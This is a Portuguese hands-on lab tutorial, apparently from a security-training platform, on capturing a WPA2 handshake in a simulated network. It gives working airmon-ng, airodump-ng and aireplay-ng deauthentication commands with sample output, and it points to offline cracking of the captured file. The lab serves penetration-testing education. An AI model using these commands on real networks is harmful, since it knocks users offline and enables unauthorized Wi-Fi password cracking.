Capturar um Handshake WPA Manualmente com airodump-ng

Beginner
Pratique Agora

Introdução

O handshake de quatro vias WPA/WPA2 é um componente crítico da segurança Wi-Fi moderna. É o processo pelo qual um cliente e um ponto de acesso (AP) provam que conhecem a chave pré-compartilhada (a senha do Wi-Fi) sem nunca transmiti-la diretamente. Capturar este handshake é o primeiro passo em um ataque de força bruta ou de dicionário para recuperar a senha do Wi-Fi.

Neste laboratório, você aprenderá a usar o poderoso conjunto de ferramentas Aircrack-ng para realizar esta captura. Usaremos airmon-ng para colocar sua placa sem fio em modo de monitoramento, airodump-ng para escanear e direcionar uma rede específica, e aireplay-ng para forçar um cliente a se reautenticar, gerando assim um handshake para capturarmos.

Este laboratório simula um cenário do mundo real. Você receberá uma interface sem fio wlan0 e uma rede alvo para praticar no ambiente do laboratório.

Colocar o Adaptador Wireless em Modo Monitor

Nesta etapa, prepararemos nosso adaptador wireless para capturar tráfego de rede. Por padrão, um adaptador wireless opera em "modo gerenciado" (managed mode), o que significa que ele presta atenção apenas ao tráfego destinado a ele. Para capturar todo o tráfego Wi-Fi no ar, precisamos alterná-lo para o "modo monitor" (monitor mode). Usaremos a ferramenta airmon-ng para isso.

Primeiro, vamos verificar o nome da nossa interface wireless. Abra um terminal e execute o comando iwconfig.

iwconfig

Você deverá ver uma interface listada, geralmente chamada wlan0.

lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on

Agora, use airmon-ng para iniciar o modo monitor na interface wlan0. Este comando pode encerrar alguns processos de rede que poderiam interferir na captura.

sudo airmon-ng start wlan0

A saída confirmará que o modo monitor foi ativado. Geralmente, ele cria uma nova interface virtual, frequentemente chamada wlan0mon, para monitoramento.

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before bringing up the interface in monitor mode.

    PID Name
    591 wpa_supplicant
    668 dhclient

PHY     Interface       Driver          Chipset
phy0    wlan0           ath9k           Atheros Communications Inc. AR9271 802.11n

                (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
                (mac80211 station mode vif disabled for [phy0]wlan0)

Você pode verificar que a nova interface wlan0mon está em modo monitor executando iwconfig novamente.

iwconfig wlan0mon

A saída deverá mostrar Mode:Monitor.

wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off

Executar airodump-ng para Encontrar o BSSID e Canal do Alvo

Nesta etapa, usaremos airodump-ng para escanear as ondas de rádio e identificar nossa rede alvo. airodump-ng é uma ferramenta poderosa para capturar frames 802.11 e descobrir pontos de acesso e clientes conectados próximos.

Agora que nossa interface wlan0mon está em modo monitor, podemos iniciar a varredura. Execute o seguinte comando no seu terminal:

sudo airodump-ng wlan0mon

Seu terminal será preenchido com uma lista de todas as redes Wi-Fi que airodump-ng consegue detectar. A exibição é dividida em duas partes. A parte superior lista os Pontos de Acesso (APs), e a parte inferior lista os clientes conectados (Estações).

Vamos detalhar as colunas principais para os APs:

  • BSSID: O endereço MAC do Ponto de Acesso. Este é o seu identificador de hardware único.
  • CH: O canal em que a rede está operando.
  • ESSID: O nome legível da rede Wi-Fi (por exemplo, "MinhaRedeWiFi").

Aqui está um exemplo do que você pode ver:

 CH  6 ][ Elapsed: 3 s ][ 2023-10-27 10:30

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -30       10        0    0   6  54e  WPA2 CCMP   PSK  LabEx_WiFi
 C8:D3:FF:A1:B2:C3  -65        8        0    0   1  54e  WPA2 CCMP   PSK  AnotherWiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

Para este laboratório, nossa rede alvo é LabEx_WiFi. A partir da saída acima, identifique seu BSSID (00:11:22:33:44:55) e seu CH (6). Você precisará deles para a próxima etapa.

Assim que você anotar o BSSID e o canal, pressione Ctrl+C no terminal para parar o processo de varredura.

Executar airodump-ng com Foco no BSSID e Canal Específicos

Nesta etapa, focaremos nossa captura apenas na rede alvo. Executar uma varredura geral como fizemos na etapa anterior faz com que a placa wireless "salte de canal" (channel hop), o que significa que podemos perder o handshake quando ele ocorrer. Para garantir uma captura bem-sucedida, instruiremos o airodump-ng a se fixar no canal do nosso alvo e a escutar apenas o tráfego do seu BSSID.

Também usaremos a flag -w para gravar os pacotes capturados em um arquivo. Este arquivo é o que conterá o handshake.

Use o BSSID e o canal que você identificou na etapa anterior (00:11:22:33:44:55 e 6) para construir o seguinte comando. Nomearemos nosso arquivo de saída como handshake_capture.

sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w handshake_capture wlan0mon

Após executar este comando, a exibição do airodump-ng mudará. Agora, ele mostrará apenas informações para a rede LabEx_WiFi. Você também verá uma lista de quaisquer clientes (STATIONs) conectados a ela.

 CH  6 ][ Elapsed: 10 s ][ 2023-10-27 10:32 ][ WPA handshake: ...

 BSSID              PWR  RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -32  100       25        10    1   6  54e  WPA2 CCMP   PSK  LabEx_WiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -40    1- 1      0       15

Importante: Deixe este terminal em execução. Precisamos dele para continuar a captura. Para a próxima etapa, você deve abrir uma nova janela de terminal. Você pode fazer isso clicando novamente no ícone do terminal na dock de aplicativos do ambiente.

Usar aireplay-ng para Desautenticar um Cliente

Nesta etapa, forçaremos ativamente a ocorrência de um handshake. Um handshake só acontece quando um cliente se conecta ou reconecta a um ponto de acesso. Se um cliente já estiver conectado, podemos esperar que ele se desconecte naturalmente, mas isso pode levar muito tempo. Uma abordagem mais proativa é forçá-lo a se desconectar usando um "ataque de desautenticação".

Usaremos o aireplay-ng para enviar pacotes de desautenticação especialmente elaborados a um cliente, fazendo-o acreditar que foi desconectado pelo AP. O cliente tentará então se reconectar automaticamente, gerando o handshake WPA que nosso processo airodump-ng (executando no outro terminal) está esperando para capturar.

Olhe para a sua primeira janela de terminal (aquela que executa o airodump-ng direcionado). Na coluna STATION, você verá o endereço MAC de um cliente conectado. Para este laboratório, assumiremos que o endereço MAC do cliente é AA:BB:CC:DD:EE:FF.

Agora, na sua nova janela de terminal, execute o seguinte comando aireplay-ng.

  • --deauth 5: Isso envia 5 pacotes de desautenticação. Um pequeno "burst" geralmente é suficiente.
  • -a 00:11:22:33:44:55: Este é o BSSID do nosso Ponto de Acesso alvo.
  • -c AA:BB:CC:DD:EE:FF: Este é o endereço MAC do cliente que estamos visando.
sudo aireplay-ng --deauth 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon

Você verá a saída do aireplay-ng confirmando que ele está enviando os pacotes.

10:35:10  Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
10:35:11  Sending 64 directed DeAuths. STMAC: [AA:BB:CC:DD:EE:FF] [ 5|62 ACKs]

Agora, vamos verificar se nossa captura foi bem-sucedida.

Confirmar Captura do Handshake na Janela do airodump-ng

Nesta etapa final, confirmaremos que capturamos com sucesso o handshake WPA. O ataque de desautenticação que acabamos de realizar deve ter feito o cliente se reconectar, e o airodump-ng deve ter capturado o handshake resultante.

Mude seu foco de volta para a sua primeira janela de terminal, aquela onde o airodump-ng estava sendo executado e visando o LabEx_WiFi.

Olhe para o canto superior direito da exibição do airodump-ng. Se a captura foi bem-sucedida, você verá uma mensagem que diz [ WPA handshake: 00:11:22:33:44:55 ].

 CH  6 ][ Elapsed: 45 s ][ 2023-10-27 10:35 ][ WPA handshake: 00:11:22:33:44:55

 BSSID              PWR  RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -32  100       80       115    8   6  54e  WPA2 CCMP   PSK  LabEx_WiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -40    1-11      0       98

Ver esta mensagem é a sua confirmação! Você capturou com sucesso o handshake de quatro vias.

Agora você pode parar ambos os processos pressionando Ctrl+C em cada janela de terminal.

Os dados capturados, incluindo o handshake, foram salvos em arquivos no seu diretório atual. Você pode listá-los com o comando ls -l.

ls -l

Você deverá ver vários arquivos começando com handshake_capture, sendo o mais importante handshake_capture-01.cap.

-rw-r--r-- 1 root root  452 Oct 27 10:36 handshake_capture-01.cap
-rw-r--r-- 1 root root 1234 Oct 27 10:36 handshake_capture-01.csv
...

Este arquivo .cap é o prêmio. Ele contém o handshake e pode agora ser usado com ferramentas como aircrack-ng ou hashcat para tentativas de quebra de senha offline.

Resumo

Parabéns por completar este laboratório! Você executou com sucesso uma das técnicas fundamentais em testes de penetração Wi-Fi.

Neste laboratório, você aprendeu a:

  1. Colocar um adaptador sem fio em modo de monitoramento usando airmon-ng.
  2. Escanear redes sem fio próximas para identificar um alvo com airodump-ng.
  3. Focar o airodump-ng em um BSSID e canal específicos para preparar uma captura direcionada, salvando os resultados em um arquivo.
  4. Usar o aireplay-ng para realizar um ataque de desautenticação, forçando um cliente a se reconectar.
  5. Confirmar a captura do handshake WPA na saída do airodump-ng.

O arquivo .cap que você gerou contém os valiosos dados do handshake. O próximo passo lógico em um engajamento real seria usar este arquivo para tentar quebrar a senha do Wi-Fi, um tópico para outro laboratório. Agora você tem uma compreensão sólida do processo manual para capturar esta peça crítica de dados.